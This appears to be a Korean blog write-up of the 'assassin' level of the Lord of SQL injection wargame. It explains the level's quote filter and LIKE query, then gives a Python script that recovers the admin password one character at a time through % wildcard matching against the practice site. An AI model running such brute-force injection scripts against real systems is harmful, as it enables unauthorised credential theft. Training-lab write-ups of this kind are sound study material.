본문 바로가기

WarGame/Web

[Lord of SQL injection] assassin

소스코드 분석

if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~"); 

$query = "select id from prob_assassin where pw like '{$_GET[pw]}'";

like 사용법

like %abc : abc로 끝나는 값

like abc% : abc로 시작하는 값

like %abc% : abc가 들어가는 값


if($result['id'] == 'admin') solve("assassin"); 

그리고 id = admin만 만족하면된다.


import http.client
result=''
leng=0
header={'Cookie':' '}
string="123456789abcdefghijklmnopqrstuvwxyz!@#$%^&*()_-=+0"

for i in range(1,16):
for j in range(0,50):
print ('?pw='+result+string[j]+"%")
substr='/assassin_bec1c90a48bc3a9f95fbf0c8ae8c88e1.php?pw='+result+string[j]+"%"
conn=http.client.HTTPConnection('los.eagle-jump.org')
conn.request('GET',substr,'',header)
data=conn.getresponse().read()
if 'Hello admin' in data.decode():
print ('admin')
result=result+string[j]
break
if 'Hello guest' in data.decode():
print ('guest')
result=result+string[j]
break
print ('Password is '+result)


조건을 'hello admin' 이랑 'hello guest'를 준다.

암호가 앞 몇자리가 guest 랑 admin 이랑 같을 수도 있기 때문이다.

그리고 guest가 admin 보다 상위에있으면 'hello guest'가 출력이 되기 때문에 조건을 두개다 준다.

그리고 pw길이를 모르기 대문에 15자리로 임의로 설정해놓고 돌린다.

결과는 pw안에 주석(#)이 보이고 뒤에 1 만 계속 반복한다.

그전까지만 잘라서 사용하면 된다.



'WarGame > Web' 카테고리의 다른 글

[Lord of SQL injection] succubus  (0) 2017.05.28
[Lord of SQL injection] zombie_assassin  (0) 2017.05.28
[Lord of SQL injection] giant  (0) 2017.05.28
[Lord of SQL injection] bugbear  (0) 2017.05.28
[Lord of SQL injection] darkknight  (0) 2017.05.28